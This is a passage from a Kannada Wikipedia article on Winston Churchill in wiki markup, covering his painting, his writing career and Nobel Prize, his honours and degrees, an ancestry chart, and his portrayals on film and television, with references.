ಆನಂದವನ್ನು ಕಂಡುಕೊಂಡರು. ವಿಲಿಯಮ್ ರೀಸ್-ಮಾಗ್ ಹೇಳಿದಂತೆ, "ಅವರು ತಮ್ಮ ಜೀವನದಲ್ಲಿ, ನಿರುತ್ಸಾಹದ ’ಬ್ಲ್ಯಾಕ್ ಡಾಗ್’ ನಿಂದ ಕಷ್ಟವನ್ನು ಅನುಭವಿಸಬೇಕಿತ್ತು. ಅವರ ಭೂದೃಶ್ಯ ಚಿತ್ರಣಗಳಲ್ಲಿ ಮತ್ತು ಜೀವನದ ದೃಶ್ಯಗಳಲ್ಲಿ ನಿರುತ್ಸಾಹದ ಯಾವುದೇ ಚಿಹ್ನೆಯಿರಲಿಲ್ಲ."<ref name="TimesOnline-mogg">{{cite news|url=http://www.timesonline.co.uk/tol/comment/columnists/william_rees_mogg/article1824692.ece|title=Portrait of the artist with his black dog|accessdate=6 March 2008|location=London|work=The Times|first=William|last=ReesMogg|date=22 May 2007}}</ref> ಚರ್ಚಿಲ್ ಮೊದಲನೆಯ ಜಾಗತಿಕ ಯುದ್ಧದ ಸಮಯದಲ್ಲಿ ಭೇಟಿಯಾದ ತಮ್ಮ ಕಲಾಕಾರ ಗೆಳೆಯ ಪುಲ್ ಮೇಜ್‌ರಿಂದ ಚಿತ್ರಕಲೆಯಲ್ಲಿ ಪ್ರೋತ್ಸಾಹವನ್ನು ಪಡೆದುಕೊಂಡರು ಮತ್ತು ಅವರಿಂದ ಚಿತ್ರಕಲೆಯನ್ನು ಕಲಿತರು. ಮೇಜ್ ಚರ್ಚಿಲ್‌ರ ಚಿತ್ರಕಲೆಗಳಲ್ಲಿ ಒಂದು ಮಹತ್ವದ ಪ್ರಭಾವವನ್ನು ಬೀರಿದ್ದರು ಮತ್ತು ಅವರು ಚರ್ಚಿಲ್‌ರ ಆಜೀವಪರ್ಯಂತದ ಚಿತ್ರಕಲೆಯ ಜೊತೆಗಾರರಾಗಿದ್ದರು.<ref>{{cite web|url=http://www.albanyfineart.co.uk/maze/biog.html|title=Paul Maze Biography|publisher=Albanyfineart.co.uk|date=|accessdate=2010-06-16|archive-date=2011-09-03|archive-url=https://web.archive.org/web/20110903153441/http://www.albanyfineart.co.uk/maze/biog.html|url-status=dead}}</ref> ಅವರು ತಮ್ಮ ಭೂದೃಶ್ಯಗಳ (ಕಾಲ್ಪನಿಕ ದೃಶ್ಯಗಳ) ಚಿತ್ತಪ್ರಭಾವ ನಿರೂಪಣೆಗಳಿಗಾಗಿ ಹೆಚ್ಚಿನ ಖ್ಯಾತಿಯನ್ನು ಪಡೆದಿದ್ದರು, ಅವುಗಳಲ್ಲಿ ಹೆಚ್ಚಿನ ಚಿತ್ರಗಳು ಫ್ರಾನ್ಸ್‌ನ ದಕ್ಷಿಣ ಭಾಗ, ಈಜಿಪ್ಟ್ ಅಥವಾ ಮೊರೊಕ್ಕೋಗಳಲ್ಲಿ ರಜಾದಿನಗಳಲ್ಲಿ ಚಿತ್ರಿಸಿದವುಗಳಾಗಿವೆ.<ref name="TimesOnline-mogg" /> ಅವರು ತಮ್ಮ ಈ ಹವ್ಯಾಸವನ್ನು ಜೀವನದುದ್ದಕ್ಕೂ ಮುಂದುವರೆಸಿದರು ಮತ್ತು ನೂರಾರು ಚಿತ್ರಗಳನ್ನು ರಚಿಸಿದರು, ಅವುಗಳಲ್ಲಿ ಹೆಚ್ಚಿನವುಗಳು ಚಾರ್ಟ್‌ವೆಲ್‌ನ ಕಲಾಗಾರ ಹಾಗೆಯೇ ಖಾಸಗಿ ಸಂಗ್ರಹಗಳಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕೆ ಇರಿಸಲ್ಪಟ್ಟಿವೆ.<ref>{{cite web|last=Lady Soames|first=|url=http://winstonchurchill.org/i4a/pages/index.cfm?pageID=576|title=Winston Churchill the Painter|accessdate=9 January 2008|archive-date=8 ಏಪ್ರಿಲ್ 2008|archive-url=https://web.archive.org/web/20080408073819/http://winstonchurchill.org/i4a/pages/index.cfm?pageID=576|url-status=dead}}</ref> ಅವರ ಕೆಲವು ಚಿತ್ರಗಳು ಪ್ರಸ್ತುತದಲ್ಲಿ ಡಾಲ್ಲಾಸ್ ಮ್ಯೂಸಿಯಮ್ ಆಫ್ ಆರ್ಟ್‌ನ ವೆಂಡಿ ಮತ್ತು ಎಮರಿ ರೇವ್ಸ್ ಸಂಗ್ರಹಗಳಲ್ಲಿ ಕಂಡುಬರುತ್ತವೆ. ಎಮರಿ ರೇವ್ಸ್ ಮತ್ತು ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ ವಾಸ್ತವವಾಗಿ ನಿಕಟವರ್ತಿಗಳಾಗಿದ್ದರು<ref>{{cite web|url=http://www.winstonchurchill.org/support/the-churchill-centre/publications/chartwell-bulletin/28-oct-2010/988-churchill-and-reves|title=Churchill and Reves|publisher=Winstonchurchill.org|date=|accessdate=2010-11-07|archive-date=2011-02-20|archive-url=https://web.archive.org/web/20110220065648/https://www.winstonchurchill.org/support/the-churchill-centre/publications/chartwell-bulletin/28-oct-2010/988-churchill-and-reves|url-status=dead}}</ref> ಮತ್ತು ಚರ್ಚಿಲ್ ಹೆಚ್ಚಿನ ವೇಳೆಗಳಲ್ಲಿ ಎಮರಿ ಮತ್ತು ಅವರ ಪತ್ನಿಯನ್ನು ದಕ್ಷಿಣ ಫ್ರಾನ್ಸ್‌ನಲ್ಲಿನ ಅವರ ನಿವಾಸದಲ್ಲಿ (ವಿಲ್ಲಾ ಲಾ ಪೌಸಾ, ಮೂಲತಃ ಗ್ಯಾಬ್ರಿಯಲ್ "ಕೋಕೋ" ಚಾನೆಲ್‌ಗಾಗಿ ೧೯೨೭ ರಲ್ಲಿ ನಿರ್ಮಿಸಲ್ಪಟ್ಟಿತ್ತು) ಭೆಟಿಯಾಗುತ್ತಿದ್ದರು ಉದ್ಯಾನಗೃಹವು ೧೯೮೫ ರಲ್ಲಿ ವರ್ಣಚಿತ್ರಗಳ ಸಂಗ್ರಹ ಮತ್ತು ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್‌ರಿಂದ ಚಿರಸ್ಮರಣೀಯ ಗುರುತುಗಳ ಜೊತೆಗೆ ಸಂಗ್ರಹಾಲಯದೊಳಗೆ ಪುನಃ ನಿರ್ಮಿಸಲ್ಪಟ್ಟಿತು.<ref>{{cite web|url=http://www.dallasartnews.com/2010/10/dallas-museum-of-art-celebrates-the-25th-anniversary-of-the-wendy-and-emery-reves-collection/|title=25th Anniversary of Reves Collection at the Dallas Museum of Art|publisher=Dallas Art News|date=|accessdate=2010-11-07|archive-date=2017-07-07|archive-url=https://web.archive.org/web/20170707204705/http://www.dallasartnews.com/2010/10/dallas-museum-of-art-celebrates-the-25th-anniversary-of-the-wendy-and-emery-reves-collection/|url-status=dead}}</ref><ref>http://www.churchillmemorial.org/resources/Documents/RevesCollectionInventory.pdf</ref> ಅವರ ಹೆಚ್ಚಿನ ವರ್ಣಚಿತ್ರಗಳು ತೈಲ-ಆಧಾರಿತವಾಗಿದ್ದವು ಮತ್ತು ಭೂದೃಶ್ಯಗಳ ಲಕ್ಷಣಗಳನ್ನು ಹೊಂದಿದ್ದವು, ಆದರೆ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯ ಆಂತರಿಕ ದೃಶ್ಯಗಳು ಮತ್ತು ಪ್ರತಿಕೃತಿಗಳನ್ನೂ ನಿರ್ಮಿಸಿದ್ದರು. ಸಮಯದ ಅಭಾವದ ಕಾರಣದಿಂದಾಗಿ, ಚರ್ಚಿಲ್ ಎರಡನೆಯ ಜಾಗತಿಕ ಯುದ್ಧದ ಸಮಯದಲ್ಲಿ ಕೇವಲ ಒಂದೇ ಒಂದು ವರ್ಣಚಿತ್ರವನ್ನು ರಚಿಸುವ ಪ್ರಯತ್ನವನ್ನು ನಡೆಸಿದರು. ಅವರು ಮಾರಾಕೇಶ್‌ನಲ್ಲಿ ವಿಲ್ಲಾ ಟೇಲರ್‌ನ ತುದಿಯಿಂದ ವರ್ಣಚಿತ್ರವನ್ನು ಸಂಪೂರ್ಣಗೊಳಿಸಿದರು.<ref>ಚರ್ಚಿಲ್‌, ವಿನ್‌ಸ್ಟನ್ ಎಸ್., "ದಿ ಹಿಂಜ್ ಆಫ್ ಫೇಟ್". ನ್ಯೂಯಾರ್ಕ್: ಹಾಗ್ಟನ್ ಮಿಫ್ಲಿನ್ ಕಂಪನಿ ೧೯೫೦ ಪು.೬೨೨</ref> ಅವರ ಜೀವನುದ್ದದ ಚೌಕಟ್ಟು ಮತ್ತು ಉನ್ನತ-ವರ್ಗದ ಮೂಲಗಳ ಹೊರತಾಗಿಯೂ, ಚರ್ಚಿಲ್ ತಮ್ಮ ಮಿತಿಇಲ್ಲದ ಖರ್ಚುಗಳ ಜೀವನ ಶೈಲಿಯನ್ನು ಫೋಷಿಸುವುದಕ್ಕೆ ಸಾಕಷ್ಟಾಗುವಂತೆ ತಮ್ಮ ಆದಾಯವನ್ನು ಇರಿಸಿಕೊಳ್ಳುವುದಕ್ಕೆ ಪ್ರಯತ್ನಿಸಿದರು. ೧೯೪೬ ಕ್ಕೂ ಮುಂಚಿನ ಎಮ್‌ಪಿಗಳು ಅತ್ಯಲ್ಪ ಮೊತ್ತದ ಸಂಬಳವನ್ನು ಪಡೆದುಕೊಳ್ಳುತ್ತಿದ್ದರು (ಮತ್ತು ವಾಸ್ತವವಾಗಿ ೧೯೧೧ ರ ಸಂಸತ್ತು ಶಾಸನದವರೆಗೂ ಏನನ್ನೂ ತೆಗೆದುಕೊಳ್ಳುತ್ತಿರಲಿಲ್ಲ) ಅವರಲ್ಲಿ ಹೆಚ್ಚಿನವರು ಜೀವನಕ್ಕಾಗಿ ಗಳಿಕೆಯನ್ನು ಮಾಡುವುದಕ್ಕೆ ದ್ವಿತೀಯಕ ವೃತ್ತಿಗಳನ್ನು ಹೊಂದಿದ್ದರು.<ref>{{cite web|url=http://www.parliament.uk/faq/members_faq_page2.cfm|title=FAQ about Parliament|publisher=Parliament.uk|date=|accessdate=9 August 2009|archive-date=8 ಫೆಬ್ರವರಿ 2010|archive-url=https://web.archive.org/web/20100208232022/http://www.parliament.uk/faq/members_faq_page2.cfm|url-status=dead}}</ref> ೧೮೯೮ ರಲ್ಲಿನ ಅವರ ಮೊದಲ ಪುಸ್ತಕದಿಂದ ಪ್ರಧಾನ ಮಂತ್ರಿಯಾಗಿ ಎರಡನೆಯ ಸ್ಟಿಂಟ್‌ವರೆಗೆ ಚರ್ಚಿಲ್‌ರ ಆದಾಯವು ಹೆಚ್ಚಾಗಿ ಪುಸ್ತಕಗಳನ್ನು ಬರೆಯುವ ಮೂಲಕ ಮತ್ತು ದಿನಪತ್ರಿಕೆಗಳು ಮತ್ತು ನಿಯತಕಾಲಿಕಗಳಿಗೆ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಬರೆಯುವ ಮೂಲಕ ಗಳಿಸಲ್ಪಡುತ್ತಿತ್ತು ಮತ್ತು ೧೯೩೬ರಿಂದ ''ಈವನಿಂಗ್ ಸ್ಟ್ಯಾಂಡ'' ರ್ಡ್ ಪತ್ರಿಕೆಯಲ್ಲಿ ಪ್ರಕಟವಾದ ಹಿಟ್ಲರ‍್ರ ಉದಯದ ಬಗೆಗಿನ ಎಚ್ಚರಿಕೆಗಳು ಮತ್ತು ಸಮಾಧಾನಗೊಳಿಸುವಿಕೆಯ ಪಾಲಿಸಿಯ ಸಮಸ್ಯೆಗಳ ಬಗೆಗಿನ ಎಚ್ಚರಿಕೆಗಳು ಅವರ ಅತ್ಯಂತ ಜನಪ್ರಿಯ ದಿನಪತ್ರಿಕೆಯ ಬರಹಗಳಾಗಿದ್ದವು. ಚರ್ಚಿಲ್ ಪುಸ್ತಕಗಳ ಸಮೃದ್ಧ ಬರಹಗಾರರಾಗಿದ್ದರು, ಅವರು ತಮ್ಮ ಹಲವಾರು ದಿನಪತ್ರಿಕೆಗಳ ಲೇಖನಗಳ ಜೊತೆಗೆ ಕಾದಂಬರಿಯ ಬರೆಯುವಿಕೆ, ರಡು ಜೀವನ ವೃತ್ತಾಂತಗಳು, ಸ್ಮರಣೆಗಳ ಎರದು ಆವೃತ್ತಿಗಳು ಮತ್ತು ಹಲವಾರು ಇತಿಹಾಸಗಳನ್ನೂ ಬರೆದಿದ್ದರು. ಅವರು ೧೯೫೩ ರಲ್ಲಿ ಸಾಹಿತ್ಯದಲ್ಲಿ "ತಮ್ಮ ಐತಿಹಾಸಿಕ ಮತ್ತು ಜೀವನಚರಿತ್ರೆಯಲ್ಲಿನ ಪ್ರಾವೀಣ್ಯತೆಗಾಗಿ ಹಾಗೆಯೇ ಉದಾತ್ತ ಮಾನವ ಮೌಲ್ಯಗಳ ಸಮರ್ಥನೆಯಲ್ಲಿನ ಅತ್ಯುತ್ಕೃಷ್ಟ ನಿರೂಪಣೆಗಾಗಿ" [[ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ|ನೋಬೆಲ್ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ಪಡೆದಿದ್ದರು.<ref>{{cite web|url=http://nobelprize.org/nobel_prizes/literature/laureates/1953/|title=Official Nobel Page|publisher=Nobelprize.org|date=|accessdate=9 August 2009}}</ref> ಅವರ ಮೊದಲ ಪ್ರಧ್ನಿ ಹುದ್ದೆಯ ನಂತರದಲ್ಲಿ ಪ್ರಕಟಿಸಲ್ಪಟ್ಟ ಅವರ ಅತ್ಯಂತ ಜನಪ್ರಿಯ ಬರಹಗಳಲ್ಲಿ ಎರಡು ಬರಹಗಳು ಅವರ ಅಂತರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯನ್ನು ಉನ್ನತ ಮಟ್ಟಕ್ಕೇರಿಸಿದವು, ಅವು ಯಾವುವೆಂದರೆ ಆರು-ಆವೃತ್ತಿಗಳ ಸ್ಮರಣೆ ''ದ ಸೆಕೆಂಡ್ ವರ್ಲ್ಡ್ ವಾರ್'' (ಎರಡನೆಯ ಜಾಗತಿಕ ಯುದ್ಧ) ಮತ್ತು ''ಎ ಹಿಸ್ಟರಿ ಆಫ್ ದ ಇಂಗ್ಲೀಷ್-ಸ್ಪೀಕಿಂಗ್ ಪೀಪಲ್ಸ್'' (ಇಂಗ್ಲೀಷ್ ಮಾತನಾಡುವ ಜನರ ಒಂದು ಇತಿಹಾಸ); ಇದು ಬ್ರಿಟನ್‌ನ ಸೀಸರ್ ಆಕ್ರಮಣಗಳ (೫೫ BC) ಅವಧಿಯಿಂದ ಮೊದಲನೆಯ ಜಾಗತಿಕ ಯುದ್ಧದ (೧೯೧೪) ಪ್ರಾರಂಭದವರೆಗಿನ ಅವಧಿಯನ್ನು ಒಳಗೊಂಡ ಒಂದು ಇತಿಹಾಸವಾಗಿತ್ತು.<ref>ಜೆನ್ಕಿನ್ಸ್, ಪುಪು. ೮೧೯–೨೩ ಮತ್ತು ಪುಪು. ೫೨೫–೨೬</ref> ಅವರು ಉದ್ಯಾನವನಗಳ ಗೋಡೆಗಳನ್ನು ನಿರ್ಮಿಸಿದ ಮತ್ತು ಚಾರ್ಟ್‌ವೆಲ್‌ನಲ್ಲಿ ಒಂದು ಕುಟೀರವನ್ನೂ ನಿರ್ಮಿಸಿದ ಒಬ್ಬ ಹವ್ಯಾಸಿ ಇಟ್ಟಿಗೆ ಕೆಲಸಗಾರರೂ ಆಗಿದ್ದರು. ಈ ಹವ್ಯಾಸದ ಒಂದು ಭಾಗವಾಗಿ ಅವರು ಅಮಾಲ್ಗಮೇಟೆಡ್ ಯೂನಿಯನ್ ಆಫ್ ಬಿಲ್ಡಿಂಗ್ ಟ್ರೇಡ್ ವರ್ಕರ್ಸ್ ಅನ್ನು ಸೇರಿಕೊಂಡರು.<ref>ರೇಡಿಯೋ ಟೈಮ್ಸ್, ೨೦೧೧-೩-೧೨, ಪುಟ ೧೩೦-೧೩೧</ref> ==ಗೌರವಗಳು== [[File:2004-05 Churchill London.JPG|thumb|left|ಪಾರ್ಲಿಮೆಂಟ್ ಸ್ಕ್ವಾರ್‌ನಲ್ಲಿ ಪ್ರತಿಮೆ,ಲಂಡನ್]] {{Main|Honours of Winston Churchill}} ಒಂದು ರಾಜ್ಯ ಅಂತ್ಯಕ್ರಿಯೆಯ ಗೌರವಕ್ಕೆ ಜೊತೆಯಾಗಿ ಚರ್ಚಿಲ್ ಹಲವಾರು ವಿಧದ ಮನ್ನಣೆಗಳು ಮತ್ತು ಗೌರವಗಳನ್ನು ಪಡೆದುಕೊಂಡಿದ್ದರು. ಉದಾಹರಣೆಗೆ, ಅವರು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ಗೌರವಾನ್ವಿತ ನಾಗರಿಕ ಮನ್ನಣೆಯನ್ನು ಪಡೆದ ಮೊದಲ ವ್ಯಕ್ತಿಯಾಗಿದ್ದರು.<ref>{{cite book|last=Russell|first=Douglas|title=The Orders, Decorations and Medals of Sir Winston Churchill|year=2002|month=|publisher=Churchill Centre|isbn=|pages=}}</ref> ೧೯೪೫ ರಲ್ಲಿ, ಚರ್ಚಿಲ್ ಹಾಲ್ವಡಾನ್ ಕೊಹ್ಟ್‌ರಿಂದ ಶಾಂತಿಯಲ್ಲಿನ ನೋಬಲ್ ಪ್ರಶಸ್ತಿಗಾಗಿ ಏಳು ಸ್ಪರ್ಧಿಗಳಲ್ಲಿ ಒಬ್ಬ ಸಮರ್ಪಕ ಅಭ್ಯರ್ಥಿ ಎಂಬುದಾಗಿ ನಮೂದಿಸಲ್ಪಟ್ಟಿದ್ದರು, ಈ ಅನುಮೋದನೆಯು ಕಾರ್ಡೆಲ್ ಹಲ್‌ರವರೆಗೂ ಹೋಗಿತ್ತು.<ref>{{cite web|url=http://nobelprize.org/nobel_prizes/peace/nomination/nomination.php?action=show&showid=3319|accessdate=2010-06-08|title=Record from The Nomination Database for the Nobel Prize in Peace, 1901–1956|publisher=[[Nobel Foundation]]|archive-date=2010-12-15|archive-url=https://web.archive.org/web/20101215030344/http://nobelprize.org/nobel_prizes/peace/nomination/nomination.php?action=show&showid=3319|url-status=dead}}</ref> ಚರ್ಚಿಲ್ ತಮ್ಮ ಹಲವಾರು ಸಂಖ್ಯೆಯ ಪ್ರಕಟಿತ ಬರಹಗಳಿಗಾಗಿ, ಅದರಲ್ಲೂ ಪ್ರಮುಖವಾಗಿ ತಮ್ಮ ಆರು ಆವೃತ್ತಿಗಳ ಬರಹ ''ದ ಸೆಕೆಂಡ್ ವರ್ಲ್ಡ್ ವಾರ್‌'' ಗಾಗಿ ೧೯೫೩ ರಲ್ಲಿ [[ಸಾಹಿತ್ಯದಲ್ಲಿ ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ|ಸಾಹಿತ್ಯದಲ್ಲಿ ನೋಬೆಲ್ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ಪಡೆದುಕೊಂಡರು. ೧೦೦ ಮಹತ್ವದ ಬ್ರಿಟನ್‌ರ ಒಂದು ೨೦೦೨ ಬಿಬಿಸಿ ಮತದಾನದಲ್ಲಿ, ಅವರು ಬಿಬಿಸಿ ವೀಕ್ಷಕರ ಸರಿಸುಮಾರು ಒಂದು ಮಿಲಿಯನ್ ಮತಗಳ ಆಧಾರದ ಮೇಲೆ "ಅವರೆಲ್ಲರಲ್ಲಿ ಅತ್ಯುತ್ತಮರು" ಎಂಬುದಾಗಿ ಘೋಷಿಸಲ್ಪಟ್ಟರು.<ref>{{cite web|url=http://www.bbc.co.uk/history/programmes/greatbritons.shtml|title=Poll of the ''100 Greatest Britons''|accessdate=22 December 2007|publisher=BBC|archive-date=14 ಮೇ 2006|archive-url=https://web.archive.org/web/20060514084331/http://www.bbc.co.uk/history/programmes/greatbritons.shtml|url-status=bot: unknown}}</ref> ಚರ್ಚಿಲ್ ''ಟೈಮ್'' ದಿನಪತ್ರಿಕೆಯಿಂದ ಇತಿಹಾಸದಲ್ಲಿನ ಅತ್ಯಂತ ಪ್ರಭಾವಶಾಲಿ ಮುಖಂಡರಲ್ಲಿ ಒಬ್ಬರು ಎಂಬುದಾಗಿಯೂ ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿದ್ದರು.<ref>{{cite news|url=http://www.time.com/time/time100/time100poll.html|title=The Most Influential People of the 20th Century|accessdate=22 December 2007|publisher=Time Magazine|archiveurl=https://web.archive.org/web/20000408225402/http://www.time.com/time/time100/time100poll.html|archivedate=8 April 2000}}</ref> ಚರ್ಚಿಲ್ ಕಾಲೇಜ್, ಕ್ಯಾಂಬ್ರಿಜ್ ಇದು ಚರ್ಚಿಲ್‌ರ ಸ್ಮರಣಾರ್ಥವಾಗಿ ೧೯೫೮ ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿತು. {{-}} ===ಗೌರವ ಪದವಿಗಳು=== *೧೯೪೧ರಲ್ಲಿ ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ರೋಚೆಸ್ಟರ್ (ಎಲ್‌ಎಲ್‌ಡಿ) <ref>{{cite web|url=http://www.winstonchurchill.org/learn/speeches/speeches-of-winston-churchill/568-the-birth-throes-of-a-sublime-resolve-the-old-lion-|title=The Birth Throes of a Sublime Resolve|publisher=The Churchill Centre|accessdate=9 August 2009|archive-date=8 ಆಗಸ್ಟ್ 2009|archive-url=https://web.archive.org/web/20090808094530/http://www.winstonchurchill.org/learn/speeches/speeches-of-winston-churchill/568-the-birth-throes-of-a-sublime-resolve-the-old-lion-|url-status=dead}}</ref> *೧೯೪೩ ರಲ್ಲಿ ಕ್ಯಾಂಬ್ರಿಜ್, ಮ್ಯಾಸಾಶುಸೆಟ್ಸ್‌ನಲ್ಲಿ ಹಾರ್ವರ್ಡ್ ಯುನಿವರ್ಸಿಟಿ (ಎಲ್‌ಎಲ್‌ಡಿ) *೧೯೪೪ ರಲ್ಲಿ ಮ್ಯಾಕ್‌ಗಿಲ್ ಯುನಿವರ್ಸಿಟಿ ಮಾಂಟ್ರಿಯಲ್, ಕೆನಡಾದಲ್ಲಿ ಯುನಿವರ್ಸಿಟಿ (ಎಲ್‌ಎಲ್‌ಡಿ) in ೧೯೪೪ *೫ ಮಾರ್ಚ್ ೧೯೪೬ ರಲ್ಲಿ ಫುಲ್ಟೋನ್‌ಮಿಸ್ಸೌರಿಯಲ್ಲಿ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಕಾಲೇಜ್ *೧೯೪೬ ರಲ್ಲಿ ನೆದರ್‌ಲ್ಯಾಂಡ್ಸ್‌ನ ಲೈಡೆನ್ ಯುನಿವರ್ಸಿಟಿ, ಲೈಡೆನ್‌ನಲ್ಲಿ ಗೌರವಾನ್ವಿತ ಡಾಕ್ಟರೇಟ್ <ref>{{Cite web |url=http://about.leiden.edu/laureates/leiden/honorary-doctorates |title=ಲೈಡೆನ್ ಯುನಿವರ್ಸಿಟಿ ಆನರರಿ ಡಾಕ್ಟರೇಟ್ಸ್ |access-date=2011-05-11 |archive-date=2010-09-18 |archive-url=https://web.archive.org/web/20100918070315/http://about.leiden.edu/laureates/leiden/honorary-doctorates |url-status=dead }}</ref> *೧೯೪೭ ರಲ್ಲಿ, ಫ್ಲೋರಿಡಾ, ಮೈಮಿಯಲ್ಲಿ ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಮೈಮಿ *೧೯೫೦ ರಲ್ಲಿ ಡೆನ್ಮಾರ್ಕ್ (ಪಿಎಚ್‌ಡಿ), ಕೋಪೆನ್‌ಹ್ಯಾಗನ್‌ನಲ್ಲಿ ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಕೋಪೆನ್‌ಹ್ಯಾಗನ್‌ ==ಪೂರ್ವಿಕರು== {{ahnentafel top|width=100%}} {{ahnentafel-compact5 |style=font-size: 90%; line-height: 110%; |border=1 |boxstyle=padding-top: 0; padding-bottom: 0; |boxstyle_1=background-color: #fcc; |boxstyle_2=background-color: #fb9; |boxstyle_3=background-color: #ffc; |boxstyle_4=background-color: #bfc; |boxstyle_5=background-color: #9fe; |1=1. '''Winston Churchill''' |2=2. [[Lord Randolph Churchill|Lord Randolph Spencer-Churchill]] |3=3. [[Lady Randolph Churchill|Jennie Jerome]] |4=4. [[John Spencer-Churchill, 7th Duke of Marlborough]] |5=5. Lady Frances Vane-Stewart |6=6. [[Leonard Jerome|Leonard Walter Jerome]] |7=7. Clarissa Hall |8=8. [[George Spencer-Churchill, 6th Duke of Marlborough]] |9=9. Lady Jane Stewart |10=10. [[Charles Vane, 3rd Marquess of Londonderry]] |11=11. Lady Frances Vane-Tempest |12=12. Isaac Jerome |13=13. Aurora Murray |14=14. Ambrose Hall |15=15. Clarissa Willcox |16=16. [[George Spencer-Churchill, 5th Duke of Marlborough]] |17=17. Lady Susan Stewart |18=18. George Stewart, 8th Earl of Galloway |19=19. Lady Jane Bailey Paget |20=20. [[Robert Stewart, 1st Marquess of Londonderry]] |21=21. Lady Frances Pratt |22=22. Sir Henry Vane-Tempest, 2nd Baronet of Wynyard |23=23. Anne Katherine McDonnell, 2nd Countess of Antrim |24=24. Aaron Jerome |25=25. Elizabeth Ball |26=26. Reuben Murray |27=27. Sarah Guthrie |28=28. Ambrose Hall |29=29. Mehitable Beach |30=30. David Willcox |31=31. Anna Baker }} {{ahnentafel bottom}} ==ಸಿನೆಮಾ ಮತ್ತು ದೂರದರ್ಶನದಲ್ಲಿ ನಿರೂಪಣೆ == ಚರ್ಚಿಲ್ ೧೦೦ ಕ್ಕೂ ಹೆಚ್ಚಿನ ಸಂದರ್ಭಗಳಲ್ಲಿ ಸಿನೆಮಾಗಳಲ್ಲಿ ಮತ್ತು ದೂರದರ್ಶನಗಳಲ್ಲಿ ನಿರೂಪಿಸಲ್ಪಟ್ಟಿದ್ದರು. ಚರ್ಚಿಲ್‌ರ ನಿರೂಪಣೆಗಳು ಡ್ಯುಡ್ಲೀ ಫೀಲ್ಡ್ ಮ್ಯಾಲನ್ (''ಆನ್ ಅಮೇರಿಕನ್ ಇನ್ ಪ್ಯಾರಿ'' ಸ್, ೧೯೫೧), [[ಪೀಟರ್ ಸೆಲ್ಲರ್ಸ್]] (''ದ ಮ್ಯಾನ್ ಹೂ ನೆವರ್ ವಾಸ್'' , ೧೯೫೬), [[ರಿಚರ್ಡ್ ಬರ್ಟನ್]] ''[[Winston Churchill: The Valiant Years]]'' , (''[[Winston Churchill: The Valiant Years]]'' , ೧೯೬೧), ವಾರೆನ್ ಕ್ಲಾರ್ಕ್ (''ಜೆನ್ನೀ:ಲೇಡಿ ರಾಂಡೋಲ್ಫ್ ಚರ್ಚಿಲ್'' , ೧೯೭೪), ವೆನ್‍ಸ್ಲೇಯ್ ಪಿಥೇಯ್ (''ಎಡ್ವರ್ಡ್ ಎಂಡ್ ಮಿಸೆಸ್ ಸಿಂಪ್ಸನ್'' , ೧೯೭೮), ವಿಲಿಯಮ್ ಹೂಟ್‌ಕಿನ್ಸ್ (''ದ ಲೈಫ್ ಎಂಡ್ ಟೈಮ್ಸ್ ಆಫ್ ಡೇವಿಡ್ ಲೊಯ್ಡ್ ಜಾರ್ಜ್'' , ೧೯೮೧), ರಾಬರ್ಟ್ ಹಾರ್ಡಿ (''ವಾರ್ ಎಂಡ್ ರಿಮೆಂಬ್ರೆನ್ಸ್'' , ೧೯೮೯), ರಾಡ್ ಟೇಲರ್ (''ಇಂಗ್ಲೋರಿಯಸ್ ಬಾಸ್ಟರ್ಡ್ಸ್'' , ೨೦೦೯), ಲ್ಯಾನ್ ಮ್ಯಾಕ್‌ನೀಸ್ (''ಡಾಕ್ಟರ್ ಹೂ'' , ೨೦೧೦), ಮತ್ತು ಟಿಮೋಥಿ ಸ್ಪ್ಯಾಲ್ (''ದ ಕಿಂಗ್ಸ್ ಸ್ಪೀಚ್'' , ೨೦೧೦) ಇವುಗಳನ್ನು ಒಳಗೊಂಡಿದ್ದವು.<ref>{{Cite web |url=http://www.imdb.com/character/ch0026663/ |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2011-05-11 |archive-date=2017-07-17 |archive-url=https://web.archive.org/web/20170717104821/http://www.imdb.com/character/ch0026663/ |url-status=dead }}</ref> ==ಇವನ್ನೂ ಗಮನಿಸಿ‌== *ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌ನ ರಾಜಕೀಯ *[[List of people on the cover of Time Magazine: 1920s]] – ೧೪ ಎಪ್ರಿಲ್ ೧೯೨೩, ೧೧ ಮೇy ೧೯೨೫ *ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ ಸ್ಮಾರಕ ಟ್ರಸ್ಟ್‌ಗಳು *ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್‌ರ ಸಾಂಸ್ಕೃತಿಕ ನಿರೂಪಣೆಗಳು ==ಉಲ್ಲೇಖಗಳು‌‌== ===ಟಿಪ್ಪಣಿಗಳು=== {{Reflist|colwidth=30em}} ===ಪ್ರಾಥಮಿಕ ಮೂಲಗಳು=== {{Refbegin|2}} *ಚರ್ಚಿಲ್, ವಿನ್‌ಸ್ಟನ್. ''ದ ವರ್ಲ್ಡ್ ಕ್ರೈಸಿಸ್'' . ೬ ಆವೃತ್ತಿಗಳು. (೧೯೨೩–೩೧); ಒಂದು-ಆವೃತ್ತಿ. ed. (೨೦೦೫). [Iನೆಯ ಜಾಗತಿಕ ಯುದ್ಧದ ಬಗ್ಗೆ.] *–––. ''ದ ಸೆಕೆಂಡ್ ವರ್ಲ್ಡ್ ವಾರ್'' . ೬ ಆವೃತಿಗಳು. (೧೯೪೮–೫೩) *ಮಿನ್ನೀ ಚರ್ಚಿಲ್ ಜೊತೆಗೆ 